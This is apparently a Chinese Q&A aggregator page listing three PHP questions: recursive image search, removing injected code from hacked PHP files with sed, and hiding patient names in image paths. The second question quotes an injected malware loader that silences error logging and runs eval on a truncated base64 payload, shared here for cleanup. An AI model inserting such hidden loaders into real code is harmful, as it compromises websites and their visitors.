相关疑难解决方法(0)

递归查找具有特定扩展名的图像

我目前正在尝试制作一个脚本,在目录和子目录中找到带有*.jpg/*.png扩展名的图像.

如果找到某些带有这些扩展名的图片,则将其保存到包含路径,名称,大小,高度和宽度的数组中.

到目前为止,我有这段代码,它将找到所有文件,但我不知道如何只获取jpg/png图像.

class ImageCheck {

public static function getDirectory( $path = '.', $level = 0 ){ 

    $ignore = array( 'cgi-bin', '.', '..' ); 
    // Directories to ignore when listing output.

    $dh = @opendir( $path ); 
    // Open the directory to the handle $dh 

    while( false !== ( $file = readdir( $dh ) ) ){ 
    // Loop through the directory 

        if( !in_array( $file, $ignore ) ){ 
        // Check that this file is not to be ignored 

            $spaces = str_repeat( ' ', …
Run Code Online (Sandbox Code Playgroud)

php recursion image

6
推荐指数
1
解决办法
2073
查看次数

用复杂字符清除decode_base64攻击的脚本

我四处寻找用我们服务器中的恶意代码清理大规模的php攻击,我在复杂性方面遇到问题,找到正确的搜索和替换文本的路径.环顾四周,我发现所有的php文件都有这个代码

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
 base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
Run Code Online (Sandbox Code Playgroud)

当我尝试使用sed命令时,我无法删除所有代码,因为某些php文件在第一行中有其他代码,并且只删除第一行不是解决方案.

首先我用受感染的文件创建文件:

grep 'ZXJyb3JfcmVwb3J0aW5nKDApOwppZ' ./ -Rl > infected.txt
Run Code Online (Sandbox Code Playgroud)

使用;

for hackFile in `cat infected.txt`; do sed -i 's#<?php *ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>##' $hackFile; done
Run Code Online (Sandbox Code Playgroud)

我完成循环以删除所有受感染的文件,但对于所有特殊字符始终产生错误,我找不到确切的过滤器.有人可以帮我做正确的sed过滤器吗?其他测试

for hackFile in `cat infected.txt`; do sed -i 's/<?php*ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>//g'
Run Code Online (Sandbox Code Playgroud)

我不知道如何过滤像/或*这样的特殊字符

举个例子,一些php文件出现在第一行开头

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
    @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
     base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
    @ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
Run Code Online (Sandbox Code Playgroud)

我可以直接删除该行.但存在其他情况:

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
    @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
     base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
    @ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?> <?php
Run Code Online (Sandbox Code Playgroud)

并且有可能在第一行中有一个包含更多代码的php文件,而不仅仅是"

所以,我需要删除的代码,而不是取代任何字符,并且不影响该行的其余部分.我看到要完全删除线条删除的表单,但我只查看插入的代码是模式

显然我们正在调试以阻止未来的攻击,但首先我需要清理代码以重新启动网站.

如果有人好奇我也可以发送解码的代码.

谢谢

php bash base64 sed

6
推荐指数
1
解决办法
1541
查看次数

使用 PHP 混淆图像目录?

我有一组使用患者姓名存储的牙科照片,我想将其显示在网页上 - 当然不包括患者的信息。它将全部位于密码保护区中,但我意识到的一件事是,如果有人检查该元素,它将具有照片的路径,其中包含他们的名字。

我使用了这篇文章中的代码:/sf/answers/2500724971/,它给了我返回:

/pics/O/Patient Name1
|_DSC_0338.JPG
|_DSC_0339.JPG
|_DSC_0340.JPG
/pics/O/Patient Name2
|_DSC_3947.JPG
/pics/O/Patient Name3
|_DSC_2541.JPG
|_DSC_2542.JPG
Run Code Online (Sandbox Code Playgroud)

我现在拥有数据库中的所有文件名/路径数据。

我哥哥希望我可以设置一个迷你照片库,在“管理”模式下会显示患者姓名,但当他想向某人展示它时,它隐藏了所有这些信息。

我偶然发现了这段可行的代码,但仅适用于一个文件,因为它设置了标头:

<?php
    $file = 'your_images.jpg';
    header('Content-Type: image/jpeg');
    header('Content-Length: ' . filesize($file));
    echo file_get_contents($file);
?>
Run Code Online (Sandbox Code Playgroud)

然后我可以通过执行类似的操作来引用该文件<img src="image.php?file=/pics/O/Patient Name1/DSC_0338.JPG">,但随后我就破坏了混淆它的目的。

我如何循环遍历一组文件以一次显示多个文件,以图库类型格式(不仅仅是集中在页面的开头或结尾),同时仍然隐藏源?

我应该提到的是,文件名/目录名中会有空格。这不是我的组织结构,所以我无法在源头更改它 - 而且它是增量备份的一部分,所以我无法在服务器上更改它。

php

1
推荐指数
1
解决办法
466
查看次数

标签 统计

php ×3

base64 ×1

bash ×1

image ×1

recursion ×1

sed ×1